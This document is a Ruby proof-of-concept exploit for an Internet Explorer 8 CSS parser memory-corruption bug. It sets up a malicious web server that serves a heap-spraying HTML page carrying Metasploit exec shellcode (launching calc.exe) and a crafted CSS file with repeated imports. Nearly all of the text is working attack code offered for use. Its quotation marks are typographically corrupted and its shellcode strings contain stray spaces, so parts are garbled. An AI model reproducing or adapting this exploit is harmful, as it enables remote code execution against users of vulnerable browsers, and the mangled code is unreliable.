Internet Explorer 8 CSS Parser Exploit

#!/usr/bin/env ruby

# Source: When A DoS Isn’t A DoS | BreakingPoint
# Author: Nephi Johnson (d0c_s4vage)

require ’socket‘

def http_send(sock, data, opts={})
defaults = {:code=>“200″, :message=>“OK“, :type=>“text/html“}
opts = defaults.merge(opts)

code = opts[:code]
message = opts[:message]
type = opts[:type]

to_send = „HTTP/1.1 #{code} #{message}\r\n“ +
„Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n“ +
„Cache-Control: no-cache\r\n“ +
„Content-Type: #{type}\r\n“ +
„Pragma: no-cache\r\n“ +
„Content-Length: #{data.length}\r\n\r\n“ +
„#{data}“
puts „[+] Sending:“
to_send.split(„\n“).each do |line|
puts “ #{line}“
end
sock.write(to_send) rescue return false
return true
end

def sock_read(sock, out_str, timeout=5)
begin
if Kernel.select([sock],[],[],timeout)
out_str.replace(sock.recv(1024))
puts „[+] Received:“
out_str.split(„\n“).each do |line|
puts “ #{line}“
end
else
sock.close
return false
end
rescue Exception => ex
return false
end
end

def to_uni(str)
res = „“
str.each_byte do |b|
res << „\x00#{b.chr}“
end
res
end

@css_name = „\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s“
@html_name = „test.html“
placeholder = „a“ * (@css_name.length/2)

@html = <<-HTML
<script>
function dup_str(str, length) {
var res = str;
while(res.length < length) {
res += res;
}
res = res.substr(res.length – length);
return res;
}

function to_bin(str) {
var res = „“;
while(str.length > 0) {
var first = str.substr(0, 2);
var second = str.substr(2, 2);
res += „%u“ + second + first;
str = (str.length > 4) ? str.substr(4) : „“;
}
return unescape(res);
}

// first heap spray
var base = dup_str(to_bin(„0c0c0c0900000008000000730073030100 000000010000730073030c“), 512+6);
var arr = []
for(var i = 0; i < 60000; i++) {
arr[i] = [„“ + base].join(„“);
}

// second heap spray w/ shellcode
var nops = dup_str(to_bin(„0c0c0c0c“), 4096+6);

// windows/exec – 200 bytes
// Penetration Testing | The Metasploit Project
// EXITFUNC=process, CMD=calc.exe
var shellcode = unescape(„%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u52 8b%u8b30“ +
„%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc 031“ +
„%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5 752“ +
„%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u0 14a“ +
„%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8 b34“ +
„%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf 475“ +
„%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8 b66“ +
„%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2 424“ +
„%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5 d86“ +
„%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud 5ff“ +
„%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0 a7c“ +
„%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u6 3d5“ +
„%u6c61%u2e63%u7865%u0065“);
var arr2 = [];
for(var i = 0; i < 30000; i++) {
arr2[i] = [nops + shellcode].join(„“);
}

// write the link to the stylesheet
var link = document.createElement(„link“);
link.setAttribute(„rel“, „Stylesheet“);
link.setAttribute(„type“, „text/css“);
link.setAttribute(„href“, „#{placeholder}“)
document.getElementsByTagName(„head“)[0].appendChild(link);
</script>
HTML
@html = „\xfe\xff“ + to_uni(@html)
@html.gsub!(to_uni(placeholder), @css_name)

@css = <<-CSS
@import url(„#{placeholder}“);
@import url(„#{placeholder}“);
@import url(„#{placeholder}“);
@import url(„#{placeholder}“);
CSS
@css = „\xfe\xff“ + to_uni(@css)
@css.gsub!(to_uni(placeholder), @css_name)

@index = <<-INDEX
<a href=“#{@html_name}“>#{@html_name}</a>
INDEX

TCPServer.open(55555) do |srv|
while true
cli = srv.accept
req = „“
html = „“
css = „“
index = „“
next unless sock_read(cli, req, 5)
while req.length > 0
if req =~ /GET/
if req =~ /GET.*#{Regexp.escape(@html_name)}/
break unless http_send(cli, @html, :type=>“text/html“)
elsif req =~ /GET.*index/
break unless http_send(cli, @index)
elsif req =~ /GET.*#{Regexp.escape(@css_name)}/
break unless http_send(cli, @css, :type=>“text/css“)
else
break unless http_send(cli, @css, :type=>“text/css“)
end
elsif req =~ /QUIT/
exit()
end
req = „“
next unless sock_read(cli, req, 5)
end
cli.close rescue next
end
end